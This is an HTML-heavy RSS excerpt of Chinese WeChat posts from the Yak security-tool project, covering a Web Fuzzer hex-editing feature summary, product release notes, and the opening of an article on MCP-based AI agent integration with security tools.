sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">九、总结</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Edit Binary 这次解决的核心问题是：</span></span></p><blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">让 Web Fuzzer 里的不可见字节变得「看得见、改得了」。</span></span></p></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">对于经常要碰上传包的人来说，NullByte 截断、换行解析这些场景会顺手很多。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">几个关键记忆点：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">1.unquote</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 标签要用</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">双引号</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">hexdecode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">base64decode</span></span></code><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不要引号</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">2.unquote</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">hexdecode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">base64decode</span></span></code><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">无论多短都会折叠</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.折叠需要 </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">foldBinaryFuzztag={true}</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> + </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">type=&#34;http&#34;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.不可见字节用 </span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">HEX</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 输入，可见文本用</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">ASCII</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 输入；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5.HEX 输入</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不要 </span></span></strong><strong><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">0x</span></span></code></strong><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 前缀</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">长度必须是</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">偶数</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">6.默认是</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">替换</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">模式，想覆盖字节要先选中；</span></span><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">插入</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">模式要先点击定位，否则插到末尾。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span style="line-height: 1.6em;font-size: 24px;" mpa-font-style="mqj98c9e1tq1" data-mpa-action-id="mqj98c9q13q3" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">演示视频</span></span></span></p><p class="channels_iframe_wrp"><div></div></p><p style="margin-bottom: 0px;outline: 0px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: center;" data-pm-slice="3 5 []"><strong data-brushtype="text" style="outline: 0px;color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, Arial, sans-serif;font-size: 20px;letter-spacing: 0.578px;background-color: rgb(247, 150, 70);"><span leaf="">END</span></strong></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">更新记录 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;line-height: 1.6em;">Yakit v1.4.7-0618</p><p style="outline: 0px;line-height: 1.6em;">1. YakRunner上线侧边栏AI</p><p style="outline: 0px;line-height: 1.6em;">2. MITM和Webfuzzer可编辑上传文件不可见字符</p><p style="outline: 0px;line-height: 1.6em;">3. 热加载模板支持分组归类</p><p style="outline: 0px;line-height: 1.6em;">4. History右键菜单支持查看附近数据包</p><p style="outline: 0px;line-height: 1.6em;">5. 插件检测新增复制报错功能</p><p style="outline: 0px;line-height: 1.6em;">6. 导出插件支持自定义导出路径</p><p style="outline: 0px;line-height: 1.6em;">7. 端口扫描新增系统保护配置项</p><p style="outline: 0px;line-height: 1.6em;">8. 隐藏MITM系统tag展示</p><p style="outline: 0px;line-height: 1.6em;">9. 修复模型检测暗色模式bug</p><p style="outline: 0px;line-height: 1.6em;">10. 修复数据对比模块异常问题</p><p style="outline: 0px;line-height: 1.6em;">Memfit AI v1.0.2-0618</p><p style="outline: 0px;line-height: 1.6em;">1. 优化任务规划数据展示</p><p style="outline: 0px;line-height: 1.6em;">2. 任务详情增加统计数据，可手动加载技能、工具、插件等，且自由对话任务也可查看任务详情</p><p style="outline: 0px;line-height: 1.6em;"> IRify v1.2.3-0618</p><p style="outline: 0px;line-height: 1.6em;">1. 优化首页展示，增加数据统计</p><p style="outline: 0px;line-height: 1.6em;">2. 优化项目管理编译历史展示</p><p style="outline: 0px;line-height: 1.6em;">Yaklang 1.4.7-beta10</p><p style="outline: 0px;line-height: 1.6em;">Yakit：</p><p style="outline: 0px;line-height: 1.6em;">1. 修复了POC函数示例错误</p><p style="outline: 0px;line-height: 1.6em;">2. yak runner中补充AI输入框</p><p style="outline: 0px;line-height: 1.6em;">Memfit：</p><p style="outline: 0px;line-height: 1.6em;">1. 支持强制人工评审，执行流程重构</p><p style="outline: 0px;line-height: 1.6em;">2. 计划可脱离主会话独立评审与恢复执行</p><p style="outline: 0px;line-height: 1.6em;">3. 支持追问能力</p><p style="outline: 0px;line-height: 1.6em;">4. 统一会话快照事件，包含执行统计、yaklang.File 写入计数等</p><p style="outline: 0px;line-height: 1.6em;">IRify：</p><p style="outline: 0px;line-height: 1.6em;">1. 修复 DeleteSSAProgram 未指定 program name 时会误删全部 risk 的问题</p><p style="outline: 0px;line-height: 1.6em;">2. 嵌套压缩包解析：增强 ExpandedZipFS 递归解析</p></div></div></div></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><div style="outline: 0px;"><div powered-by="xiumi.us" style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;"><div powered-by="xiumi.us" style="outline: 0px;text-align: justify;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding-right: 11px;padding-left: 11px;outline: 0px;display: inline-block;width: auto;vertical-align: top;border-style: solid;border-width: 0px 1px;border-color: rgb(62, 62, 62) rgb(255, 129, 36);min-width: 10%;flex: 0 0 auto;height: auto;align-self: flex-start;"><div powered-by="xiumi.us" style="outline: 0px;color: rgb(255, 255, 255);"><p style="outline: 0px;"><span style="outline: 0px;background-color: rgb(255, 129, 36);"><strong style="outline: 0px;"><span style="outline: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="">YAK官方资源 </span></span></strong></span></p></div></div></div><div powered-by="xiumi.us" style="margin-bottom: 10px;outline: 0px;"><div style="outline: 0px;font-size: 14px;text-align: justify;"><p style="outline: 0px;"><span leaf="">Yak 语言官方教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit 视频教程：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Github下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit官网下载地址：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit安装文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;"><span leaf=""><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="outline: 0px;"><span leaf="">Yakit使用文档：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="outline: 0px;"><span leaf="">常见问题速查：</span></p><p style="outline: 0px;"><span style="outline: 0px;text-decoration: underline;color: rgb(95, 156, 239);"><em style="outline: 0px;"><span leaf=""><a href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p><img class="rich_pages wxw-img" data-ratio="0.6018518518518519" data-s="300,640" data-type="png" data-w="1080" data-imgfileid="100037040" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><img class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="640" data-imgfileid="100036982" data-aistatus="1" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d5f1ec4a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529933%26idx%3D1%26sn%3Da19487238bfebbae679db1afd6f2d5b7">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>破除工具孤岛：Yak MCP 架构演进与 AI 安全能力开放</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529914&amp;idx=1&amp;sn=ea077902dc10f9ce3843c792819ea952</link>
      <description>依托MCP架构，搭建全场景AI安全能力调度体系</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-06-12 17:58</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1a3dd546&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72HUVbkoTdPE4umdR7ZYaueh7cPWibRAvdTQ1U4rQzwbD0f68yC8vGO8yoF0dfGkHXjNibAZHYHBuiaxIibYplT9z2k6Vl3ibUcL8ZC4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>依托MCP架构，搭建全场景AI安全能力调度体系</p>
  <h2 data-pm-slice="0 0 []"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/></span></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100046260" src="https://wechat2rss.xlab.app/img-proxy/?k=89fb14c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Fjcv9HN6JTz2EQWcbvh9VMRjKzOXFF4RPdCbgObnezFxYD56iaQX3lLI1h6bOqs8ibG2obhhCQPyxNPiaparYndLYQNn3OhYXgD8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">一、从“黑盒调用”到“标准总线”的转变</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq8w1dj51sqq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在安全自动化场景中，我们常常面临一个痛点：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">当我们引入一个强大的大语言模型（LLM）作为 Agent 时，它如何与本地复杂的安全工具（如扫描器、逆向工具）进行交互？</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq8w1dj5wju" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">过去，这种交互往往是“黑盒”且脆弱的。我们需要为每一个工具编写特定的 API 接口、定制复杂的提示词，甚至还要处理各种复杂的进程通信问题。如果工具更新了，或者换了一个大模型，这套脆弱的对接逻辑可能瞬间崩塌。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;text-align: left;"><span leaf="" mpa-font-style="mq8w1dj51nz7" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">Yakit 在近期的更新中，优化了 MCP（Model Context Protocol，模型上下文协议）相关基础设施</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">通过 MCP，AI 客户端不再需要去“猜”工具怎么用，而是通过标准协议直接读取工具的 Schema，明确知道自己能做什么、需要传什么参数。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq8w1dj57uq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这种从“定制化黑盒”到“标准化总线”的转变，使得 Yakit 能够以一种工程化、高可靠的方式，将 AI 与底层安全能力深度缝合</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;margin-bottom: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">二、Agent 框架接入 MCP：通过 MCP 引入外部工具</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq8w1dj51zlf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">通过 MCP 协议接入外部 MCP 工具，并将其加入到 Agent 的能力清单中，是 Yakit 此次更新的核心亮点</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, 